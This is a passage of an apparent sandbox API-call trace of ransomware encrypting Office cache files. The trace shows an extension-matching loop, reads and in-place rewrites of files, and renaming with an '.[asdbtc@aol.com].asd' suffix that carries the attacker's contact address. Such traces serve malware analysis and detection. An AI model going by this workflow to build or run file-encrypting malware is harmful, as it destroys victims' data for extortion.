-1 [0055.049] lstrlenW (lpString=".ppt") returned 4 [0055.049] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0055.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0055.049] lstrlenW (lpString=".zip") returned 4 [0055.049] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0055.049] lstrlenW (lpString=".rar") returned 4 [0055.049] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0055.049] lstrlenW (lpString=".bz2") returned 4 [0055.049] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0055.049] lstrlenW (lpString=".7z") returned 3 [0055.049] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0055.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0055.049] lstrlenW (lpString=".dbf") returned 4 [0055.049] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0055.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0055.049] lstrlenW (lpString=".1cd") returned 4 [0055.049] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0055.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0055.050] lstrlenW (lpString=".jpg") returned 4 [0055.050] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0055.050] lstrcmpiW (lpString1=".MST", lpString2=".asd") returned 1 [0055.050] lstrlenW (lpString="ShellUI.MST") returned 11 [0055.050] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0055.050] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x32bff1c | out: lpFileSize=0x32bff1c*=3584) returned 1 [0055.050] CloseHandle (hObject=0x188) returned 1 [0055.050] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 0x2020 [0055.050] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0055.050] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0055.051] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.051] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.051] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0055.051] GetLastError () returned 0x0 [0055.051] ReadFile (in: hFile=0x188, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x32bfed4*=0xe00, lpOverlapped=0x0) returned 1 [0055.107] WriteFile (in: hFile=0x21c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x32bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x32bfc9c*=0xe10, lpOverlapped=0x0) returned 1 [0055.108] ReadFile (in: hFile=0x188, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x32bfed4*=0x0, lpOverlapped=0x0) returned 1 [0055.108] WriteFile (in: hFile=0x21c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x32bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x32bfc9c*=0xea, lpOverlapped=0x0) returned 1 [0055.108] SetEndOfFile (hFile=0x21c) returned 1 [0055.108] CloseHandle (hObject=0x21c) returned 1 [0055.109] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.109] SetEndOfFile (hFile=0x188) returned 1 [0055.109] CloseHandle (hObject=0x188) returned 1 [0055.109] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0055.110] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 1 [0055.110] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0055.110] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0055.110] lstrlenW (lpString=".doc") returned 4 [0055.110] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0055.110] lstrlenW (lpString=".docx") returned 5 [0055.110] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0055.110] lstrlenW (lpString=".pdf") returned 4 [0055.110] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0055.110] lstrlenW (lpString=".xls") returned 4 [0055.110] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0055.110] lstrlenW (lpString=".xlsx") returned 5 [0055.110] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0055.110] lstrlenW (lpString=".ppt") returned 4 [0055.110] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0055.110] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0055.110] lstrlenW (lpString=".zip") returned 4 [0055.110] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0055.110] lstrlenW (lpString=".rar") returned 4 [0055.110] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0055.111] lstrlenW (lpString=".bz2") returned 4 [0055.111] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0055.111] lstrlenW (lpString=".7z") returned 3 [0055.111] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0055.111] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0055.111] lstrlenW (lpString=".dbf") returned 4 [0055.111] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0055.111] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0055.111] lstrlenW (lpString=".1cd") returned 4 [0055.111] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0055.111] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0055.111] lstrlenW (lpString=".jpg") returned 4 [0055.111] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0055.111] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0055.111] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0055.111] lstrlenW (lpString=".doc") returned 4 [0055.111] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0055.111] lstrlenW (lpString=".docx") returned 5 [0055.111] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0055.111] lstrlenW (lpString=".pdf") returned 4 [0055.111] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0055.111] lstrlenW (lpString=".xls") returned 4 [0055.111] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0055.111] lstrlenW (lpString=".xlsx") returned 5 [0055.111] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0055.111] lstrlenW (lpString=".ppt") returned 4 [0055.111] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0055.111] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0055.111] lstrlenW (lpString=".zip") returned 4 [0055.111] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0055.111] lstrlenW (lpString=".rar") returned 4 [0055.112] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0055.112] lstrlenW (lpString=".bz2") returned 4 [0055.112] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0055.112] lstrlenW (lpString=".7z") returned 3 [0055.112] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0055.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0055.112] lstrlenW (lpString=".dbf") returned 4 [0055.112] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0055.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0055.112] lstrlenW (lpString=".1cd") returned 4 [0055.112] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0055.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0055.112] lstrlenW (lpString=".jpg") returned 4 [0055.112] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0055.112] lstrcmpiW (lpString1=".msi", lpString2=".asd") returned 1 [0055.112] lstrlenW (lpString="AccessMUI.msi") returned 13 [0055.112] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.486] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x32bff1c | out: lpFileSize=0x32bff1c*=2517504) returned 1 [0055.486] CloseHandle (hObject=0x218) returned 1 [0055.486] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi")) returned 0x2020 [0055.486] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0055.492] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0055.499] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.499] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc6c | out: lpNewFilePointer=0x0) returned 1 [0055.528] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc2c | out: lpNewFilePointer=0x0) returned 1 [0055.528] ReadFile (in: hFile=0x218, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x32bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.532] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc2c | out: lpNewFilePointer=0x0) returned 1 [0055.532] ReadFile (in: hFile=0x218, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x32bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.545] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32bfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0055.545] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc2c | out: lpNewFilePointer=0x0) returned 1 [0055.545] ReadFile (in: hFile=0x218, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x32bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.563] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.563] WriteFile (in: hFile=0x218, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x32bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x32bfcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0055.817] SetEndOfFile (hFile=0x218) returned 1 [0055.817] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x4005bf0 [0055.817] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc7c | out: lpNewFilePointer=0x0) returned 1 [0055.817] WriteFile (in: hFile=0x218, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x32bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.819] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc7c | out: lpNewFilePointer=0x0) returned 1 [0055.819] WriteFile (in: hFile=0x218, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x32bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.826] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc7c | out: lpNewFilePointer=0x0) returned 1 [0055.826] WriteFile (in: hFile=0x218, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x32bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.830] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4005bf0 | out: hHeap=0x510000) returned 1 [0055.830] CloseHandle (hObject=0x218) returned 1 [0055.830] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0055.831] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.831] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.831] lstrlenW (lpString=".doc") returned 4 [0055.831] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.831] lstrlenW (lpString=".docx") returned 5 [0055.831] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0055.831] lstrlenW (lpString=".pdf") returned 4 [0055.831] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.831] lstrlenW (lpString=".xls") returned 4 [0055.831] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.831] lstrlenW (lpString=".xlsx") returned 5 [0055.831] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0055.831] lstrlenW (lpString=".ppt") returned 4 [0055.831] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.831] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.831] lstrlenW (lpString=".zip") returned 4 [0055.831] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.831] lstrlenW (lpString=".rar") returned 4 [0055.831] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.831] lstrlenW (lpString=".bz2") returned 4 [0055.831] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.831] lstrlenW (lpString=".7z") returned 3 [0055.831] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.831] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.831] lstrlenW (lpString=".dbf") returned 4 [0055.831] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.831] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.831] lstrlenW (lpString=".1cd") returned 4 [0055.832] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.832] lstrlenW (lpString=".jpg") returned 4 [0055.832] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.832] lstrlenW (lpString=".doc") returned 4 [0055.832] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.832] lstrlenW (lpString=".docx") returned 5 [0055.832] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0055.832] lstrlenW (lpString=".pdf") returned 4 [0055.832] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.832] lstrlenW (lpString=".xls") returned 4 [0055.832] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.832] lstrlenW (lpString=".xlsx") returned 5 [0055.832] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0055.832] lstrlenW (lpString=".ppt") returned 4 [0055.832] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.832] lstrlenW (lpString=".zip") returned 4 [0055.832] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.832] lstrlenW (lpString=".rar") returned 4 [0055.832] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.832] lstrlenW (lpString=".bz2") returned 4 [0055.832] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.832] lstrlenW (lpString=".7z") returned 3 [0055.832] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.832] lstrlenW (lpString=".dbf") returned 4 [0055.832] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.832] lstrlenW (lpString=".1cd") returned 4 [0055.833] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.833] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.833] lstrlenW (lpString=".jpg") returned 4 [0055.833] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.833] lstrcmpiW (lpString1=".cab", lpString2=".asd") returned 1 [0055.833] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0055.833] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.833] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x32bff1c | out: lpFileSize=0x32bff1c*=36233052) returned 1 [0055.833] CloseHandle (hObject=0x218) returned 1 [0055.833] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0055.833] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0055.834] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0055.834] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.834] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc6c | out: lpNewFilePointer=0x0) returned 1 [0055.834] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc2c | out: lpNewFilePointer=0x0) returned 1 [0055.834] ReadFile (in: hFile=0x218, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x32bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.838] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc2c | out: lpNewFilePointer=0x0) returned 1 [0055.838] ReadFile (in: hFile=0x218, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x32bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0056.607] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32bfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0056.607] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc2c | out: lpNewFilePointer=0x0) returned 1 [0056.607] ReadFile (in: hFile=0x218, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x32bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0056.626] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec8 | out: lpNewFilePointer=0x0) returned 1 [0056.626] WriteFile (in: hFile=0x218, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x32bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x32bfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0056.645] SetEndOfFile (hFile=0x218) returned 1 [0056.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x4005bf0 [0056.646] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc7c | out: lpNewFilePointer=0x0) returned 1 [0056.646] WriteFile (in: hFile=0x218, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x32bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0056.647] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc7c | out: lpNewFilePointer=0x0) returned 1 